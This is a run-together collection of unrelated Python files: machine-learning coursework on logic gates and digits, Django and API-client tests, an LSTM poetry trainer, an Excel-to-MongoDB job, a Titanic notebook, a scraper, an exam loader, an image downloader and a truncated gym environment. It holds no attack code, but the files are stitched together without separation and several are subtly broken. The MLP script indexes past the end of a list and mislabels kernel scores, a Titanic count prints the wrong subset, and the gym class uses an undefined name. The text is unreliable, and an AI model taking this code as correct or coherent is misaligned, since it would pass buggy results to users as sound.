'''

PERCEPTRON MULTICOUCHE  - MLP

'''
#%%
import numpy.random as rd
from sklearn.neural_network import MLPClassifier
from sklearn.model_selection import train_test_split , GridSearchCV
import numpy as np
from sklearn.metrics import accuracy_score
import random as r
from sklearn.datasets import load_digits
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import cross_val_score
import matplotlib.pyplot as plt
from sklearn import tree, datasets
from sklearn.svm import SVC
from svm_source import *
from sklearn import svm
#%%

def randX(n):
    x=rd.randint(0,2,(n,2))
    return(x)

#%%
def YAND(X):
    C = []
    for i in range(0,X.shape[0]):
        if X[i,0]==X[i,1]==1:
            C.append(1)
        else:
            C.append(0)
    return(C)

#%%
def YOR(X):
    D = []
    for i in range(0,X.shape[0]):
        if X[i,0]==1 or X[i,1]==1:
            D.append(1)
        else:
            D.append(0)
    return(D)
#%%
def YXOR(X):
    E = []
    for i in range(0,X.shape[0]):
        if (X[i,0]==1 and X[i,1]==0) or (X[i,0]==0 and X[i,1]==1):
            E.append(1)
        else:
            E.append(0)
    return(E)

# %%

X = randX(100)
Y1 = YAND(X)
Y2 = YOR(X)
Y3 = YXOR(X)

# %% question 2

X_train1, X_test1, y_train1, y_test1 = train_test_split(X, Y1,test_size=0.1)
clfAND = MLPClassifier(hidden_layer_sizes=(),activation='identity',solver='lbfgs').fit(X_train1, y_train1)

print("score : ",accuracy_score(y_test1,clfAND.predict(X_test1)))

#%% question 3

X_train2, X_test2, y_train2, y_test2 = train_test_split(X, Y2,test_size=0.1)

clfO = MLPClassifier(hidden_layer_sizes=(),activation='identity',solver='lbfgs').fit(X_train2, y_train2)
accuracy_score(y_test2,clfO.predict(X_test2))

# %% question 4
# a
X_train3, X_test3, y_train3, y_test3 = train_test_split(X, Y3,test_size=0.1)
clfXOR = MLPClassifier(hidden_layer_sizes=(),activation='identity',solver='lbfgs').fit(X_train3, y_train3)
accuracy_score(y_test3,clfXOR.predict(X_test3))
# %%
#b
X_train4, X_test4, y_train4, y_test4 = train_test_split(X, Y3,test_size=0.1)

clfXOR = MLPClassifier(hidden_layer_sizes=(4,2),activation='identity',solver='lbfgs').fit(X_train3, y_train3)
accuracy_score(y_test4,clfXOR.predict(X_test4))
# %%
#c

X_train5, X_test5, y_train5, y_test5 = train_test_split(X, Y3,test_size=0.1)
score4 = np.zeros(100)
for j in range (0,len(score4)):
    clfXOR = MLPClassifier(hidden_layer_sizes=(4,2),activation='tanh',solver='lbfgs').fit(X_train5, y_train5)
    score4[j]=clfXOR.score(X_test5, y_test5)

print("score ",score4) #
# %%
digits = load_digits()

n_samples = len(digits.data)
x_train, x_test, Y_train, Y_test = train_test_split(digits.data, digits.target, test_size=0.1)

#%% couche
test = 100
score = 0
param = [0,'','','']
for parameter in range(test):

    hls = r.randint(100, 1000)
    activ = r.choice(['identity', 'logistic', 'tanh', 'relu'])
    lr = r.choice(['constant', 'invscaling', 'adaptive'])
    solv = r.choice(['lbfgs', 'sgd', 'adam'])
    clfdig= MLPClassifier(hidden_layer_sizes=hls,activation=activ,learning_rate=lr,solver=solv).fit(x_train,Y_train)
    scoreclf = accuracy_score(Y_test,clfdig.predict(x_test))
    if scoreclf > score:
        param[0]=hls
        param[1]=activ
        param[2]=lr
        param[3]=solv
        score = scoreclf
#%%
param1=[472, 'logistic', 'lbfgs']

#MLPClassifier(hidden_layer_sizes=(472),activation=('logistic'),solver='lbfgs')

# %%

test = 10
score2 = score
param2 = [0,'','','']
score3=0
for parameter in range(test):

    hls = r.randint(100, 1000)
    activ = r.choice(['identity', 'logistic', 'tanh', 'relu'])
    lr = r.choice(['constant', 'invscaling', 'adaptive'])
    solv = r.choice(['lbfgs', 'sgd', 'adam'])
    clfdig1= MLPClassifier(hidden_layer_sizes=(param1[0],hls),activation=(param1[1]),learning_rate=(param1[2]),solver=(param1[3])).fit(x_train,Y_train)
    scoreclf = accuracy_score(Y_test,clfdig1.predict(x_test))
    if scoreclf > score2:
        param[0]=hls
        param[1]=activ
        param[2]=lr
        param[3]=solv
        score3 = scoreclf

#Useless 2 couches

#%%

df=MLPClassifier(hidden_layer_sizes=(param1[0]),activation=(param1[1]),solver=(param1[2]))
acc = cross_val_score(df, x_train, Y_train, cv=5, n_jobs=-1)
print("The error using MLP method equals {:.3f}%.".format((1 - acc.mean()) * 100))
#%%

#linear classifier SVM

parameters = {'kernel': ['linear'], 'C': list(np.logspace(-3, 3, 20))}
svr = svm.SVC()
acc = cross_val_score(svr, x_train, Y_train, cv=5)
clf_linear = GridSearchCV(svr, parameters)
clf_linear.fit(x_train, Y_train)
print('Generalization score for linear kernel: %s' %((1-max(sorted(clf_linear.cv_results_['mean_test_score'])))*100),'%')

# %%
# fit a classifier (poly) and test all the Cs
parameters = {'kernel': ['poly'], 'C': list(np.logspace(-3, 3, 20))}
svr = svm.SVC()
clf_linear = GridSearchCV(svr, parameters)
clf_linear.fit(x_train, Y_train)

print('Generalization score for linear kernel: %s' %((1-max(sorted(clf_linear.cv_results_['mean_test_score'])))*100),'%')
# %%
# fit a classifier (rbf) and test all the Cs
parameters = {'kernel': ['rbf'], 'C': list(np.logspace(-3, 3, 20))}
svr = svm.SVC()
clf_linear = GridSearchCV(svr, parameters)
clf_linear.fit(x_train, Y_train)

print('Generalization score for linear kernel: %s' %((1-max(sorted(clf_linear.cv_results_['mean_test_score'])))*100),'%')
# %%
# fit a classifier (sigmoid) and test all the Cs
parameters = {'kernel': ['sigmoid'], 'C': list(np.logspace(-3, 3, 20))}
svr = svm.SVC()
clf_linear = GridSearchCV(svr, parameters)
clf_linear.fit(x_train, Y_train)

print('Generalization score for linear kernel: %s' %((1-max(sorted(clf_linear.cv_results_['mean_test_score'])))*100),'%')

###### ANNEXE ############

# %%
L = []
for k in range(10) :
    s = 0
    for i in range(len(digits.target)) :
        if digits.target[i] == k :
            s = s +1
    L.append(s)
# %%
inter = [-0.5, 0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5, 7.5, 8.5, 9.5]

plt.hist(digits.target, bins=inter, rwidth=0.8)  # Création de l'histogramme
plt.xlabel('digits')
plt.xticks(np.arange(0, 10))
plt.ylabel('Effectif total')
plt.title("Répartition des digits par labels")
plt.show()

# %%
#%%
def transfo_color(Y):
    A = []
    for i in range(len(Y)):
        if Y[i]==0:
            A+=["#FF3030"]
        if Y[i]==1:
            A+=["#3D9140"]
    return A

X = np.array([
    [0,0],
    [0,1],
    [1,0],
    [1,1]
]
)

Y = [
    transfo_color(YOR(X)),
    transfo_color(YAND(X)),
    transfo_color(YXOR(X))
    ]

Title = ["OR", "AND", "XOR"]
u = np.linspace(0,1,10)
lines = [[0.5-u],[1.5-u],[]]

for i in range(len(Y)):
    plt.xlim([-0.2, 1.2])
    plt.ylim([-0.2, 1.2])
    plt.xticks([0,1])
    plt.yticks([0,1])
    plt.axis('off')
    #plt.title(Title[i])
    plt.scatter(
        X[:,0],
        X[:,1],
        s= 500,
        c = Y[i],
        marker="o")
    for j in range(len(Y[i])):
        plt.text(X[j][0]-0.04,X[j][1]-0.15,"("+str(X[j][0])+","+str(X[j][1])+")")
    for l in range(len(lines[i])):
        plt.plot(u,lines[i][l],color="b")
    plt.show()

# %%


# -*- coding: utf-8 -*-
from datetime import datetime

from django.test import TestCase

from .testapp.models import (
    ModelModificationDateTimeField,
    CustomModelModificationDateTimeField,
    DisabledUpdateModelModificationDateTimeField,
)

class ModificationDatetimeFieldTest(TestCase):
    def test_update_model_with_modification_field(self):
        m = ModelModificationDateTimeField.objects.create()
        current_updated_time = m.modified
        m.field_to_update = False
        m.save()
        self.assertNotEqual(m.modified, current_updated_time)

    def test_custom_modification_field_name(self):
        m = CustomModelModificationDateTimeField.objects.create()
        current_updated_time = m.custom_modified
        m.field_to_update = False
        m.save()
        self.assertNotEqual(m.custom_modified, current_updated_time)

    def test_disabled_update_modification_field(self):
        m = DisabledUpdateModelModificationDateTimeField.objects.create(modified=datetime.now())
        current_updated_time = m.modified
        m.field_to_update = False
        m.save()
        self.assertEqual(m.modified, current_updated_time)


# -*-coding:utf-8 -*
"""
test jsonrpc
"""

import json

import requests

### import ujson as json

def main():

    data = {
        "jsonrpc": "2.0",
        "method": "lua_part_get3",
        "params": {
            "values": [1, 2, 3]
        },
        "id": "21",
    }

    print(data)

    url = "http://127.0.0.1:8001/jsonrpc/call"

    r = requests.post(url, json=data)

    print(r.text)

if __name__ == "__main__":
    main()


from io import StringIO
import http
from unittest import TestCase

import pytest
import requests

from tests import stub_request
from directory_client_core.base import AbstractAPIClient
from directory_client_core import authentication, cache_control

class TestAPIClient(AbstractAPIClient):
    version = 1

class AbstractAPIClientTest(TestCase):

    def setUp(self):
        self.client = TestAPIClient(
            base_url='https://example.com/',
            api_key='test',
            sender_id='test-sender-id',
            timeout=2,
        )

    def test_request_signer(self):
        assert self.client.request_signer.secret == 'test'
        assert self.client.request_signer.sender_id == 'test-sender-id'

    @stub_request('https://example.com/test', 'post')
    def test_request(self, stub):
        self.client.request("POST", 'test', data='data')

    @stub_request('https://example.com/test', 'post')
    def test_post_encodes_json(self, stub):
        data = {'key': 'value'}
        self.client.post('test', data=data)
        request = stub.request_history[0]
        assert request.headers['Content-type'] == 'application/json'
        assert request.text == '{"key": "value"}'

    @stub_request('https://example.com/test', 'post')
    def test_post_no_payload(self, stub):
        self.client.post('test')
        request = stub.request_history[0]
        assert request.headers['Content-type'] == 'application/json'
        assert request.text == '{}'

    @stub_request('https://example.com/test', 'put')
    def test_put_encodes_json(self, stub):
        data = {'key': 'value'}
        self.client.put('test', data=data)
        request = stub.request_history[0]
        assert request.headers['Content-type'] == 'application/json'
        assert request.text == '{"key": "value"}'

    @stub_request('https://example.com/test', 'delete')
    def test_delete_encodes_json(self, stub):
        data = {'key': 'value'}
        self.client.delete('test', data=data)
        request = stub.request_history[0]
        assert request.headers['Content-type'] == 'application/x-www-form-urlencoded'
        assert request.text == 'key=value'

    @stub_request('https://example.com/test', 'patch')
    def test_patch_encodes_json_without_file(self, stub):
        data = {'key': 'value'}
        self.client.patch('test', data=data)
        request = stub.request_history[0]
        assert request.headers['Content-type'] == 'application/json'
        assert request.text == '{"key": "value"}'

    @stub_request('https://example.com/thing/', 'patch')
    def test_patch_encodes_form_with_file(self, stub):
        data = {'key': 'value'}
        files = {'logo': StringIO('hello')}
        self.client.patch(url='thing/', data=data, files=files)
        request = stub.request_history[0]
        header = request.headers['Content-type']
        assert header.startswith('multipart/form-data; boundary=')

    def test_sign_request(self):
        url = 'https://example.com'
        prepared_request = requests.Request(
            "POST", url, data='data'
        ).prepare()

        self.client.sign_request(prepared_request=prepared_request)

    @stub_request('https://example.com', 'post')
    def test_send_response_ok(self, stub):
        response = self.client.send(method="POST", url="https://example.com")

        assert response.request.timeout == 2
        assert response.status_code == http.client.OK

    @stub_request('https://example.com', 'post', http.client.BAD_REQUEST)
    def test_send_response_not_ok(self, stub):
        response = self.client.send(method="POST", url="https://example.com")
        assert response.status_code == http.client.BAD_REQUEST

    @stub_request('https://example.com/test', 'get')
    def test_authenticator(self, stub):
        self.client.request(
            "GET",
            'test',
            authenticator=authentication.BearerAuthenticator('123'),
        )

        request = stub.request_history[0]

        assert request.headers['Authorization'] == 'Bearer 123'

    @stub_request('https://example.com/test', 'get')
    def test_cache_control(self, stub):
        self.client.request(
            "GET", 'test', cache_control=cache_control.ETagCacheControl('123'),
        )

        request = stub.request_history[0]

        assert request.headers['If-None-Match'] == '123'

@pytest.mark.parametrize(
    'base_url,partial_url,expected_result',
    [
        (
            'http://test.com/1/',
            '/2/3/',
            'http://test.com/1/2/3/'
        ),
        (
            'http://test.com/1',
            '2/3/',
            'http://test.com/1/2/3/'
        ),
        (
            'http://test.com/1',
            '/2/3/',
            'http://test.com/1/2/3/'
        ),
        (
            'http://test.com/1/',
            '2/3/',
            'http://test.com/1/2/3/'
        )
    ]
)
def test_build_url(base_url, partial_url, expected_result):
    assert TestAPIClient.build_url(base_url, partial_url) == expected_result


import torch
import torch.nn as nn
import argparse
from transformers import BertTokenizer, GPT2Config, AdamW, get_linear_schedule_with_warmup
from DataProcesser import *
from LSTM_Model import *
from Train import *
import os

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--mode', type=str, default='songci', help='选择数据集')
    parser.add_argument('--max_len', type=int, default=50, help='诗词的最大长度')
    parser.add_argument('--gpu', type=bool, default=True, help='是否使用GPU')
    parser.add_argument('--batch_size', type=int, default=64, help='mini batch')
    parser.add_argument('--weight_decay', type=float, default=0.005, help='L2 norm')
    parser.add_argument('--lr', type=float, default=2e-5, help='学习率')
    parser.add_argument('--warm_up_ratio', type=float, default=0.0, help='warm up')
    parser.add_argument('--epochs', type=int, default=20, help='epochs')
    parser.add_argument('--hidden_dim', type=int, default=768)
    parser.add_argument('--input_dim', type=int, default=768)
    parser.add_argument('--num_layers', type=int, default=1)
    parser.add_argument('--dropout', type=float, default=0.1)
    return parser.parse_args()

if __name__ == '__main__':
    args = get_args()
    args.device = "cuda:1" if torch.cuda.is_available() and args.gpu else "cpu"
    tokenizer = BertTokenizer(vocab_file="../ModelConfig/model_" + args.mode + "/vocab.txt", do_lower_case=False)
    tokenizer.add_tokens("[SPACE]", special_tokens=True)
    tokenizer.add_tokens("[KEYWORD]", special_tokens=True)
    tokenizer.add_tokens("[CONTENT]", special_tokens=True)
    model_config = GPT2Config.from_json_file("../ModelConfig/model_" + args.mode + "/config.json")
    args.vocab_size = len(tokenizer)
    train_path = '../dataset/' + args.mode + '/' + args.mode + '.csv'
    trainset = DataProcesser(tokenizer, model_config.n_ctx, train_path)
    train_loader = create_dataloader(trainset, args.batch_size)

    args.content_id = tokenizer.convert_tokens_to_ids("[CONTENT]")

    model = LSTM_Model(args)
    # model = nn.DataParallel(model)
    model.to(args.device)

    optimizer = AdamW(model.parameters(), lr=args.lr)

    total_steps = len(train_loader) * args.epochs

    scheduler = get_linear_schedule_with_warmup(
        optimizer,
        num_warmup_steps=args.warm_up_ratio * total_steps,
        num_training_steps=total_steps
    )

    Criterion = nn.CrossEntropyLoss(ignore_index=0, reduction="mean")
    train(args, model, optimizer, scheduler, Criterion, train_loader)
    # output_dir = "./ModelConfig/model_" + args.mode + "/"
    # # print('training finished')
    # # if not os.path.exists(output_dir + 'final_model'):
    # #     os.mkdir(output_dir + 'final_model')
    # # torch.save(model.state_dict(), output_dir + 'final_model/model')
    # model.load_state_dict(torch.load(output_dir + 'final_model/model'))


from core4.queue.job import CoreJob
from gridfs import GridFS
import pandas as pd
from io import BytesIO
import concurrent.futures
from core4.queue.helper.functool import enqueue
import datetime

MONAT = {
    "Januar": "01",
    "Februar": "02",
    "März": "03",
    "April": "04",
    "Mai": "05",
    "Juni": "06",
    "Juli": "07",
    "August": "08",
    "September": "09",
    "Oktober": "10",
    "November": "11",
    "Dezember": "12"
}

class ProcessFiles(CoreJob):
    author = "mra"
    max_parallel = 10

    def execute(self, test=False, threaded=False, concurrent=False, scope=None,
                chunk_size=10, *args, **kwargs):
        """

        :param test: control, if test don't write data to mongoDB
        :param threaded: boolean, use multiple threads or not
        :param concurrent: boolean, launch job multiple times in parallel
        :param scope: files to be processed
        :param chunk_size: size of files chunk to be passed to each job
        if concurrent is true
        :param args:
        :param kwargs:
        :return:
        """
        # define database
        self.target = self.config.driverlicense.collection.data
        self.gfs = GridFS(self.target.connection[self.target.database])
        self.test =test
        if scope is None:
            # list of exsisting files in the database
            files = self.gfs.list()
            # define files chuncks if concurrent is true
            if concurrent:
                chunks =[files[i:i + chunk_size]
                         for i in range(0, len(files), chunk_size)]
                self.logger.info("found [%d] files to extract in [%d] chunks",
                                 len(files), len(chunks))
                # for each chunck of files enqueue the job ProcessFiles
                for launch in chunks:
                    enqueue(ProcessFiles, scope=launch, test=test)
            else:
                self.extract(files, threaded)
        else:
            self.extract(scope, threaded)

    def extract(self, files, threaded):
        """
        This function calls the process function as single
        or multi-threaded
        :param files:
        :param threaded: boolean,use multiple threads or not
        :return:
        """
        # threaded
        if threaded:
            with concurrent.futures.ThreadPoolExecutor(
                    max_workers=8) as executor:
                executor.map(self.process, files)
        else:
            for f in files:
                self.process(f)
        n = self.target.count_documents({})
        self.logger.info("[%d] records with [%d] files", n, len(files))

    def process(self, filename):
        """
        This function processes the excel files and
        saves them to the database
        :param filename:
        :return:
        """
        basename = filename.split("/")[-1]
        # set the job source to the filename
        self.set_source(basename)
        self.logger.info("extract [%s]", basename)
        # get the last version of the file form the database
        fh = self.gfs.get_last_version(filename)
        body = BytesIO(fh.read())
        body.seek(0)
        # create a dataframe from the retrieved data
        df = pd.read_excel(body, header=None)
        if self.test:
            return
        # process the first lines of the dataframe to create
        # the extra variables
        assert df.iloc[0, 0] == "Analyse"
        analyse = df.iloc[0, 1]
        assert df.iloc[1, 0] == "Grundgesamtheit"
        grundgesamtheit = df.iloc[1, 1]
        assert df.iloc[2, 0] == "Zeitraum"
        zeitraum = df.iloc[2, 1]
        assert df.iloc[3, 0] == "Vorfilter"
        vorfilter = df.iloc[3, 1]
        vorfilter_fallzahl = df.iloc[4, 1]
        assert df.iloc[5, 0] == "Zielgruppe"
        zielgruppe = df.iloc[5, 1]
        zielgruppe_fallzahl = df.iloc[6, 1]
        ln = 7
        while df.iloc[ln, 0] != "Basis":
            ln += 1
            if ln > 1000:
                raise RuntimeError("failed to identify start of data")
        d = df.iloc[ln:].copy()
        cols = list(df.iloc[ln - 1])
        cols[0] = "Titel"
        d.columns = ["" if pd.isnull(c)
                     else c.replace("\n", " ").replace(".", "").replace("\s+"," ") for c in cols]
        if "" in d.columns:
            d.drop([""], axis=1, inplace=True)
        #  add the extra variables to the dataframe
        d["Analyse"] = analyse
        d["Grundgesamtheit"] = grundgesamtheit
        d["Zeitraum"] = zeitraum
        d["Vorfilter"] = vorfilter
        d["Zielgruppe"] = zielgruppe
        d.columns = d.columns.str.replace('\s+', ' ')

        monat = d.Zeitraum.apply(
            lambda s: s.replace("Letzter Monat (", "").replace(")",
                                                               "").split())
        d["Monat"] = [
            datetime.datetime.strptime("01." + MONAT[m[0]] + "." + m[1],
                                       "%d.%m.%Y") for m in monat]
        d["val"] = d["Kontakte Mio"].apply(pd.to_numeric,
                                                     errors='coerce')
        d['Date'] = d.Monat.apply(lambda x: x.date().isoformat())

        doc = d.to_dict("rec")
        n = 0
        # delete any previous version of the file in the database
        d = self.target.delete_many({"_src": basename})
        if d.deleted_count > 0:
            self.logger.info("reset [%d] records for [%s]", d.deleted_count,
                             basename)
        # insert the processed file in the database
        # each row of the dataframe is inserted as a record
        for rec in doc:
            nrec = {}
            for k, v in rec.items():
                if not pd.isnull(v):
                    nrec[k] = v
            self.target.insert_one(nrec)
            n += 1
        self.logger.info("inserted [%d] records for [%s]", n, basename)

if __name__ == '__main__':
    from core4.queue.helper.functool import execute
    execute(ProcessFiles, test=False, threaded=True)


#!/usr/bin/env python
# coding: utf-8

# In[1]:

import pandas as pd

# In[2]:

df = pd.read_csv("C://Users//savan//OneDrive - Temple University//Documents//ICAtitanic.csv")
subset = df[['PassengerId']]
#print(subset.tail(1))
passenger = df['PassengerId']
print("The number of people that were on the Titanic were")
print(passenger.loc[passenger.shape[0]-1])

# In[3]:

print("The number of people who survived are...")
survived = df[df['Survived'] == 1]
print(len(survived))
print("The number of people who died are...")
died = df[df['Survived'] == 0]
print(len(died))
print("The amount of people in the first class were...")
print(len(df[df['Pclass'] == 1]))
print("The amount of people in the second class were...")
print(len(df[df['Pclass'] == 2]))
print("The amount of people in the third class were...")
print(len(df[df['Pclass'] == 3]))
print("The amount of people who died in the first class were...")
print(len(died[died['Pclass'] == 1]))
print("The amount of people who died in the second class were...")
print(len(died[died['Pclass'] == 2]))
print("The amount of people who died in the third class were...")
print(len(died[died['Pclass'] == 3]))

# In[4]:

print("The amount of men '(who were the age of 18 or older)' that died...")
print(len(died))

# In[7]:

#making a death by class histogram
import matplotlib.pyplot as plt
titanicDeaths = df[df["Survived"] == 0]
titanicSurvived = df[df["Survived"] == 1]
n, bins, patches = plt.hist(titanicDeaths['Pclass'], bins =3)
plt.title('Titanic Deaths by Class')
plt.xlabel('Class')
plt.ylabel('Number of deaths')
plt.show()

# In[20]:

titanicDeathsMale = titanicDeaths[titanicDeaths["Sex"] == "male"]
titanicDeathsMen = titanicDeathsMale[titanicDeathsMale["Age"] >= 18]
print(len(titanicDeathsMale))
print(len(titanicDeathsMen))
titanicDeathsFemale = titanicDeaths[titanicDeaths["Sex"] == "female"]
titanicDeathsWomen = titanicDeathsFemale[titanicDeathsFemale["Age"] >= 18]
titanicDeathsChildren = titanicDeaths[titanicDeaths["Age"] < 18]
n, bins, patches = plt.hist(titanicDeathsMen['Pclass'], bins=3)
plt.title('Titanic Deaths Men by Class')
plt.xlabel('Class')
plt.ylabel('Number of Deaths')
plt.show()
#deaths from the women off the titanic
n, bins, patches = plt.hist(titanicDeathsWomen['Pclass'], bins=3)
plt.title('Titanic Deaths Women by Class')
plt.xlabel('Class')
plt.ylabel('Number of Deaths')
plt.show()
#deaths from children off the titanic
n, bins, patches = plt.hist(titanicDeathsChildren['Pclass'], bins=3)
plt.title('Titanic Deaths Children by Class')
plt.xlabel('Class')
plt.ylabel('Number of Deaths')
plt.show()
#the combined of women and children deaths off the titanic
titanicDeathsWomenAndChildren = pd.concat([titanicDeathsWomen, titanicDeathsChildren])
#combined plot of deaths of men & women and children off the titanic
n, bins, patches = plt.hist(titanicDeathsMen['Pclass'], bins=3, label="Men")
n, bins, patches = plt.hist(titanicDeathsWomenAndChildren['Pclass'], bins=3, label="Women and Children")
plt.title('Titanic Deaths by Class')
plt.xlabel('Class')
plt.ylabel('Number of Deaths')
plt.legend()
plt.show()

# In[1]:

#in class activity create new dataframes for men who survived
import pandas as pd
import matplotlib.pyplot as plt
titanicdf = pd.read_csv("C://Users//savan//OneDrive - Temple University//Documents//ICATitanic.csv")
titanicSurvivors = titanicdf[titanicdf["Survived"] == 1]

titanicSurvivorsMen = titanicSurvivors[(titanicSurvivors["Sex"] == "male") & (titanicSurvivors["Age"] >= 18)]
titanicSurvivorsWomenAndChildren = titanicSurvivors[(titanicSurvivors["Sex"] == "female") | (titanicSurvivors["Age"] < 18)]
n, bins, patches = plt.hist(titanicSurvivorsWomenAndChildren['Pclass'], bins=3, label='Survivors Women and Children')
n, bins, patches = plt.hist(titanicSurvivorsMen['Pclass'], bins=3, label='Survivors Men')
plt.title("Titanic Deaths By Class")
plt.xlabel("Class")
plt.ylabel("Number of Deaths")
plt.legend()
plt.show()

# In[ ]:


# -*- coding: utf-8 -*-
"""
Created on Sun Aug 21 17:31:48 2022

@author: Master Zhang
"""

import shutil
import os
import requests
from bs4 import BeautifulSoup

# 将目录的文件复制到指定目录
def copy_demo(src_dir, dst_dir):
    """
    复制src_dir目录下的所有内容到dst_dir目录
    :param src_dir: 源文件目录
    :param dst_dir: 目标目录
    :return:
    """
    if not os.path.exists(dst_dir):
        os.makedirs(dst_dir)
    if os.path.exists(src_dir):
        for file in os.listdir(src_dir):
            file_path = os.path.join(src_dir, file)
            dst_path = os.path.join(dst_dir, file)
            if os.path.isfile(os.path.join(src_dir, file)):
                shutil.copyfile(file_path, dst_path)
            else:
                copy_demo(file_path, dst_path)
                print("----------------存在多级文件夹，正在复制------------")

url = "https://blog.csdn.net/weixin_44791964/article/details/113682561"
kv = {'user-agent':'Mozilla/5.0'}	#浏览器身份标识
r = requests.get(url,headers=kv)
r.encoding = 'utf-8'
demo = r.text
soup = BeautifulSoup(demo,"html.parser")
dd = soup.find_all('h2')
dd[0].text

#获取的 bug 的名字, 根据名字创建对应的文件夹
title_name = soup.title.text

print("提取到的bug的名字：" + title_name)

name = title_name

# 创建新的文件夹的基地目录
path = 'D:/source/'

# 获得创建新的文件夹所需要的名字
dst_path =os.path.join(path,name)

print("新建文件夹的名字是：""【",dst_path,"】")

if (os.path.exists(dst_path) == True):
    print("-----------------该文件夹已经存在-----------------")
else:
    os.mkdir(dst_path)
    print("------------------文件夹创建成功------------------")

#获取的资料所在的路径，并去复制粘贴
dd[3] = 'D:/source/ap'

src_path = dd[3]
copy_demo(src_path,dst_path)
print("--------------------所有文件复制完毕------------------")

####以下  是  重命名文件夹
# =============================================================================
# newname = "testtest"
# path = 'D:/source/'
# new_name = path + newname
# if (os.path.exists(dst_path) == True):
#     os.rename(dst_path,new_name)
#     print("文件夹重命名成功。")
# else:
#     print("该文件夹不存在了！")
# =============================================================================

# for i in range(len(dd)):
#     print(dd[i].text)

# dd = soup.text.strip('')


"""
@author:      13716
@date-time:   2019/7/25-23:18
@ide:         PyCharm
@name:        file_manager.py
"""
import glob
from utils.base_utils import GetUuid
from model.models import Exams, TitleCompare
import xlrd, os, json

class FileManager(object):

    def __init__(self):
        all_list = []
        all_list += glob.glob("*.xlsx")
        all_list += glob.glob("*.xls")

    def add_files(self, content, exp, exam_name, author, raw_name, start_time, end_time, last, score):
        name = GetUuid.get_time_uuid()
        file_name = name + exp
        with open("files/{}".format(file_name), "wb") as f:
            f.write(content)

        work_book = xlrd.open_workbook(os.path.join(os.getcwd(), "files\\", file_name))
        sheet = work_book.sheet_by_index(0)
        rows = sheet.nrows
        exam_number = rows - 1
        cols = sheet.ncols
        if cols == 9:
            choose_list = []
            input_list = []
            judge_list = []
            subjective_list = []
            for i in range(1, rows):

                data_list = sheet.row_values(i)
                classify, no, title, a, b, c, d, correct, analyse = data_list
                if classify == 1:
                    question = {
                        "classify": 1,
                        "no": no,
                        "title": title,
                        "A": a,
                        "B": b,
                        "C": c,
                        "D": d,
                        "correct": correct,
                        "analyse": analyse
                    }
                    choose_list.append(question)
                elif classify == 2:
                    question = {
                        "classify": 2,
                        "no": no,
                        "title": title,
                        "correct": correct,
                        "analyse": analyse
                    }
                    input_list.append(question)
                elif classify == 3:
                    question = {
                        "classify": 3,
                        "no": no,
                        "title": title,
                        "correct": correct,
                        "analyse": analyse
                    }
                    judge_list.append(question)
                else:
                    question = {
                        "classify": 4,
                        "no": no,
                        "title": title,
                        "correct": correct,
                        "analyse": analyse
                    }
                    subjective_list.append(question)
            question_dict = {
                "choose_list": choose_list,
                "input_list": input_list,
                "judge_list": judge_list,
                "subjective_list": subjective_list
            }

            if Exams.add_exam(exam_name, author, raw_name, start_time, end_time, last, score, json.dumps(question_dict)):
                return True
            else:
                return False

        else:
            return False


import os
import numpy as np
from PIL import Image
import requests
from io import BytesIO

import configs

def verify_image(image_content):
    image = Image.open(BytesIO(image_content))

    if image.mode != 'RGB':
        raise Exception('Image mode is %s.' % image.mode)

    if np.prod(image.size) < configs.RetrieveConfig.MIN_IMAGE_SIZE:
        raise Exception('Image is too small.')

    image.verify()

def download_image_content(url):
    content = requests.get(url, timeout=configs.RetrieveConfig.IMAGE_DOWNLOAD_TIMEOUT).content

    return content

def download_image(url):
    content = download_image_content(url)

    verify_image(content)

    image = Image.open(BytesIO(content))

    return image

def download_and_save_image(url, save_path, file_name=None):
    # Send a GET request to the URL
    response = requests.get(url, timeout=configs.RetrieveConfig.IMAGE_DOWNLOAD_TIMEOUT)

    # Get the content type of the response
    content_type = response.headers['Content-Type']

    # Get the file extension from the content type
    if content_type == 'image/jpeg':
        extension = 'jpg'
    elif content_type == 'image/png':
        extension = 'png'
    else:
        raise ValueError(f'Unsupported content type: {content_type}')

    # Get the file name from the URL
    if file_name is None:
        file_name = os.path.basename(url)

    # Construct the full file path with extension
    file_path = os.path.join(save_path, file_name + '.' + extension)

    # Write the response content to the file
    with open(file_path, 'wb') as f:
        f.write(response.content)


import collections
import itertools
import os.path
import tkinter as tk

import gym
import gym.envs.registration
import gym.spaces

import numpy as np

UP = 0
RIGHT = 1
DOWN = 2
LEFT = 3
ROTATE_RIGHT = 4
ROTATE_LEFT = 5
LASER = 6
NOOP = 7

class GatheringEnv(gym.Env):
    metadata = {'render.modes': ['human']}
    scale = 20
    viewbox_width = 10
    viewbox_depth = 20
    padding = max(viewbox_width // 2, viewbox_depth - 1)
    agent_colors = ['red', 'yellow']

    def _text_to_map(self, text):
        m = [list(row) for row in text.splitlines()]
        l = len(m[0])
        for row in m:
            if len(row) != l:
                raise ValueError('the rows in the map are not all the same length')

        def pad(a):
            return np.pad(a, self.padding + 1, 'constant')
        a = np.array(m).T
        self.initial_food = pad(a == 'O').astype(np.int)
        self.walls = pad(a == '#').astype(np.int)

    def __init__(self, n_agents=1, map_name='default'):
        self.n_agents = n_agents
        self.root = None
        if not os.path.exists(map_name):
            expanded = os.path.join('maps', map_name + '.txt')
            if not os.path.exists(expanded):
                raise ValueError('map not found: ' + map_name)
            map_name = expanded
        with open(map_name) as f:
            self._text_to_map(f.read().strip())
        self.width = self.initial_food.shape[0]
        self.height = self.initial_food.shape[1]
        self.state_size = self.viewbox_width * self.viewbox_depth * 4
        self.action_space = gym.spaces.MultiDiscrete([[0, 7]] * n_agents)
        self.observation_space = gym.spaces.MultiDiscrete([[[0, 1]] * self.state_size] * n_agents)
        self._spec = gym.envs.registration.EnvSpec(**_spec)
        self.reset()
        self.done = False

    def _step(self, action_n):
        assert len(action_n) == self.n_agents
        action_n = [NOOP if self.tagged[i] else a for i, a in enumerate(action_n)]
        self.beams[:] = 0
        movement_n = [(0, 0) for a in action_n]
        for i, (a, orientation) in enumerate(zip(action_n, self.orientations)):
            if a not in [UP, DOWN, LEFT, RIGHT]:
                continue
            # a is relative to the agent's orientation, so add the orientation
            # before interpreting in the global coordinate system.
            #
            # This line is really not obvious to read. Replace it with something
            # clearer if you have a better idea.
            a = (a + orientation) % 4
            movement_n[i] = [
                (0, -1),  # up/forward
                (1, 0),   # right
                (0, 1),   # down/backward
                (-1, 0),  # left
            ][a]
        next_locations = [a for a in self.agents]
        next_locations_map = collections.defaultdict(list)
